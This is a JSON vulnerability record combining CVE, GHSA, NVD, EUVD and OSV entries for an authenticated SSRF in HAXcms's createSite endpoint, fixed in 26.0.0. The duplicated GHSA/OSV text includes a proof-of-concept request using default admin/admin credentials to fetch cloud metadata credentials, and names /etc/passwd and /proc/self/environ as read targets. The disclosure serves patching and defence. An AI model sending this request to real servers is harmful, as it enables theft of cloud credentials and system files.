{"id":"CVE-2026-46393","aliases":["EUVD-2026-34884","GHSA-q862-gcgq-5m6g"],"status":"published","title":"HAXcms createSite SSRF Enables Arbitrary File Read","description":"HAX CMS helps manage microsite universe with PHP or NodeJs backends. An authenticated Server-Side Request Forgery (SSRF) vulnerability in versions prior to 26.0.0 allows authenticated users to fetch arbitrary internal or local resources and write the responses to a web-accessible directory, enabling arbitrary file read and internal network access. Version 26.0.0 contains a fix.","severity":{"version":"4.0","score":7.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00238,"percentile":0.14991,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-918"],"published":"2026-05-19T14:44:20Z","modified":"2026-09-10T03:50:55Z","fixes":[{"ecosystem":"npm","package":"@haxtheweb/haxcms-nodejs","fixed_in":["26.0.0"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"@haxtheweb/haxcms-nodejs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"25.0.0"},{"fixed":"26.0.0"}]}]},{"source":"osv","ecosystem":"npm","package":"@haxtheweb/haxcms-nodejs","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"26.0.0"}]}]}],"products":[{"vendor":"haxtheweb","product":"haxcms-nodejs"},{"vendor":"haxtheweb","product":"haxcms-php"}],"references":[{"url":"https://github.com/haxtheweb/issues/security/advisories/GHSA-q862-gcgq-5m6g","tags":["x_refsource_CONFIRM","exploit","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-46393","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-q862-gcgq-5m6g"},{"url":"https://github.com/haxtheweb/issues","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-46393","title":"HAXcms createSite SSRF Enables Arbitrary File Read","description":"HAX CMS helps manage microsite universe with PHP or NodeJs backends. An authenticated Server-Side Request Forgery (SSRF) vulnerability in versions prior to 26.0.0 allows authenticated users to fetch arbitrary internal or local resources and write the responses to a web-accessible directory, enabling arbitrary file read and internal network access. Version 26.0.0 contains a fix.","status":"published","published":"2026-06-05T18:24:49.719Z","modified":"2026-06-08T16:08:41.968Z","cvss":[{"version":"4.0","score":7.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","level":"high","assessor":"cna"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T13:46:55.086623Z"}],"euvd":[{"id":"EUVD-2026-34884","description":"HAX CMS helps manage microsite universe with PHP or NodeJs backends. An authenticated Server-Side Request Forgery (SSRF) vulnerability in versions prior to 26.0.0 allows authenticated users to fetch arbitrary internal or local resources and write the responses to a web-accessible directory, enabling arbitrary file read and internal network access. Version 26.0.0 contains a fix.","status":"published","published":"2026-06-05T18:24:49Z","modified":"2026-06-08T16:08:41Z","cvss":[{"version":"4.0","score":7.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T18:20:48.834104Z"}],"ghsa":[{"id":"GHSA-q862-gcgq-5m6g","title":"HAXcms createSite SSRF Enables Arbitrary File Read","description":"### Summary  \nAn authenticated Server-Side Request Forgery (SSRF) vulnerability in HAXcms allows users to fetch arbitrary internal or local resources and write the responses to a web-accessible directory, enabling arbitrary file read and internal network access.\n\n### Details  \nThe `createSite` endpoint in HAXcms (v11.0.6) accepts a `build.files` parameter that allows an authenticated user to supply arbitrary URLs or local file paths. This input is processed without validation and ultimately fetched server-side using `file_get_contents()`.\n\nThe data flow is as follows:\n- User input (`build.files`) is processed via `object_to_array()` into a PHP array  \n- Assigned to `$filesToDownload` in `Operations.php` (line 2626)  \n- Iterated over in `Operations.php` (line 2730), where each entry is passed to `HAXCMSFile::save()` with bulk-import enabled  \n\nIn `HAXCMSFile.php` (line 30), the following occurs:\n```php\nfile_get_contents($upload['tmp_name']);\n```\n\nHere, tmp_name is attacker-controlled and may contain:\n\n- External URLs (`http://attacker.com`)\n- Internal services (`http://127.0.0.1`)\n- Cloud metadata endpoints (`http://169.254.169.254`)\n- Local file paths (`/etc/passwd`, `/proc/self/environ`)\n\nThe bulk-import flag bypasses `is_uploaded_file()` validation, which normally ensures the file originates from a legitimate upload. The only restriction is an extension whitelist based on the filename (array key), which is fully attacker-controlled.\n\nThere are no restrictions on:\n\n- URL schemes (`http`, `file`, `gopher`, etc.)\n- Destination IP ranges (internal, loopback, metadata services)\n- Response content\n\nAll fetched content is written to:\n```\nsites/\u003csitename\u003e/files/\u003cfilename\u003e\n```\nand is accessible via the web.\n\n### PoC\nPrerequisites:\n\n- Authenticated session (default credentials: `admin/admin` on fresh installs)\n- Valid JWT and CSRF token\n\nStep 1: Log in and capture JWT + CSRF token\n\nStep 2: Send crafted request:\n```\nPOST /createSite HTTP/1.1\nHost: target\nAuthorization: Bearer [JWT]\nX-CSRF-Token: [TOKEN]\nContent-Type: application/json\n\n{\n  \"site\": {\n    \"name\": \"poc\"\n  },\n  \"build\": {\n    \"files\": {\n      \"poc.txt\": {\n        \"tmp_name\": \"http://169.254.169.254/latest/meta-data/iam/security-credentials/\"\n      }\n    }\n  }\n}\n```\n\nStep 3: Retrieve response:\n```\nGET /sites/poc/files/poc.txt\n```\n\nThe response will contain the fetched content (e.g., cloud credentials or internal service data).\n\n### Impact\n\n- SSRF enabling access to internal network services\n- Arbitrary file read via local filesystem paths\n- Cloud credential exposure through metadata endpoints\n- Data exfiltration via web-accessible file storage\n\nAny authenticated user can exploit this to access sensitive server or infrastructure data, potentially leading to full system or cloud environment compromise.","status":"published","published":"2026-05-19T14:44:20Z","modified":"2026-06-09T11:56:33Z","cvss":[{"version":"4.0","score":7.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T14:40:23.739691Z"}],"nvd":[{"id":"CVE-2026-46393","description":"HAX CMS helps manage microsite universe with PHP or NodeJs backends. An authenticated Server-Side Request Forgery (SSRF) vulnerability in versions prior to 26.0.0 allows authenticated users to fetch arbitrary internal or local resources and write the responses to a web-accessible directory, enabling arbitrary file read and internal network access. Version 26.0.0 contains a fix.","status":"published","published":"2026-06-05T19:16:33.303Z","modified":"2026-06-17T10:53:37.967Z","cvss":[{"version":"4.0","score":7.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T14:12:22.73178Z"}],"osv":[{"id":"GHSA-q862-gcgq-5m6g","title":"HAXcms createSite SSRF Enables Arbitrary File Read","description":"### Summary  \nAn authenticated Server-Side Request Forgery (SSRF) vulnerability in HAXcms allows users to fetch arbitrary internal or local resources and write the responses to a web-accessible directory, enabling arbitrary file read and internal network access.\n\n### Details  \nThe `createSite` endpoint in HAXcms (v11.0.6) accepts a `build.files` parameter that allows an authenticated user to supply arbitrary URLs or local file paths. This input is processed without validation and ultimately fetched server-side using `file_get_contents()`.\n\nThe data flow is as follows:\n- User input (`build.files`) is processed via `object_to_array()` into a PHP array  \n- Assigned to `$filesToDownload` in `Operations.php` (line 2626)  \n- Iterated over in `Operations.php` (line 2730), where each entry is passed to `HAXCMSFile::save()` with bulk-import enabled  \n\nIn `HAXCMSFile.php` (line 30), the following occurs:\n```php\nfile_get_contents($upload['tmp_name']);\n```\n\nHere, tmp_name is attacker-controlled and may contain:\n\n- External URLs (`http://attacker.com`)\n- Internal services (`http://127.0.0.1`)\n- Cloud metadata endpoints (`http://169.254.169.254`)\n- Local file paths (`/etc/passwd`, `/proc/self/environ`)\n\nThe bulk-import flag bypasses `is_uploaded_file()` validation, which normally ensures the file originates from a legitimate upload. The only restriction is an extension whitelist based on the filename (array key), which is fully attacker-controlled.\n\nThere are no restrictions on:\n\n- URL schemes (`http`, `file`, `gopher`, etc.)\n- Destination IP ranges (internal, loopback, metadata services)\n- Response content\n\nAll fetched content is written to:\n```\nsites/\u003csitename\u003e/files/\u003cfilename\u003e\n```\nand is accessible via the web.\n\n### PoC\nPrerequisites:\n\n- Authenticated session (default credentials: `admin/admin` on fresh installs)\n- Valid JWT and CSRF token\n\nStep 1: Log in and capture JWT + CSRF token\n\nStep 2: Send crafted request:\n```\nPOST /createSite HTTP/1.1\nHost: target\nAuthorization: Bearer [JWT]\nX-CSRF-Token: [TOKEN]\nContent-Type: application/json\n\n{\n  \"site\": {\n    \"name\": \"poc\"\n  },\n  \"build\": {\n    \"files\": {\n      \"poc.txt\": {\n        \"tmp_name\": \"http://169.254.169.254/latest/meta-data/iam/security-credentials/\"\n      }\n    }\n  }\n}\n```\n\nStep 3: Retrieve response:\n```\nGET /sites/poc/files/poc.txt\n```\n\nThe response will contain the fetched content (e.g., cloud credentials or internal service data).\n\n### Impact\n\n- SSRF enabling access to internal network services\n- Arbitrary file read via local filesystem paths\n- Cloud credential exposure through metadata endpoints\n- Data exfiltration via web-accessible file storage\n\nAny authenticated user can exploit this to access sensitive server or infrastructure data, potentially leading to full system or cloud environment compromise.","status":"published","published":"2026-05-19T14:44:20Z","modified":"2026-09-10T03:50:55.291259865Z","cvss":[{"version":"4.0","score":7.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T15:46:54.40888Z"}]}}